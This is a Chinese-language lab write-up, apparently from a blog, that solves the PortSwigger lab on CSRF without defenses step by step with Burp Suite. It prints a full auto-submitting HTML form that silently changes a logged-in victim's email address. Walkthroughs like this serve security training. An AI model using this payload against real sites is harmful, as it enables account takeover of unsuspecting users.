学徒-没有防御措施的CSRF漏洞
# 实验室:没有防御措施的CSRF漏洞
# 题目
此实验室的 电子邮件更改功能 容易受到 CSRF 的攻击。
若要解决实验室问题,请制作一些 HTML 用于实现 CSRF 攻击,将载荷上传到你的漏洞利用服务器,更改查看者的电子邮件地址。
你可以使用以下凭据登录到自己的帐户:wiener:peter
提示
你不能注册已被其他用户占用的电子邮件地址。如果你在测试漏洞期间 更改了自己的电子邮件地址,请你确保——向受害者发送的最终漏洞利用中,应包含不同的电子邮件地址。
- name: 实验室-学徒
desc: 没有防御措施的CSRF漏洞 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/csrf/lab-no-defenses
bgColor: '#001350'
textColor: '#39d50c'
1
2
3
4
5
6
2
3
4
5
6
# 实操
点击 “ACCESS THE LAB” 进入实验室。
进入实验室,点击 “My account” 访问登录界面。
输入题目中提供的用户名和密码进行登录。
登录后,在账户页面中可以看到一个邮箱更改功能,输入一个新邮箱并点击 “Update email”。
捕获刚刚 邮箱更改 的请求数据包,右键数据包并选择 “Engagement tools / Generate CSRF PoC” 以自动生成一个 CSRF 的 PoC。
点击下方的 “Copy HTML” 复制生成的 PoC。
进入漏洞利用服务器,将 PoC 替换到 “Body” 一栏中,点击 “Store” 保存。
注意,你的邮箱已经被更改为a@b.c
,而 PoC 里的邮箱也是a@b.c
。由于邮箱地址不能重复,所以将 PoC 里的邮箱修改为x@y.z
,防止冲突。
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://<受攻击的域>/my-account/change-email" method="POST">
<input type="hidden" name="email" value="x@y.z" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
2
3
4
5
6
7
8
9
10
11
12
13
保存 PoC 之后,你可以访问和测试它。
确认载荷无误之后,点击 “Deliver exploit to victim” 将其发送给受害用户。
载荷正确,成功更改了受害用户的邮箱地址。
实验完成。
编辑 (opens new window)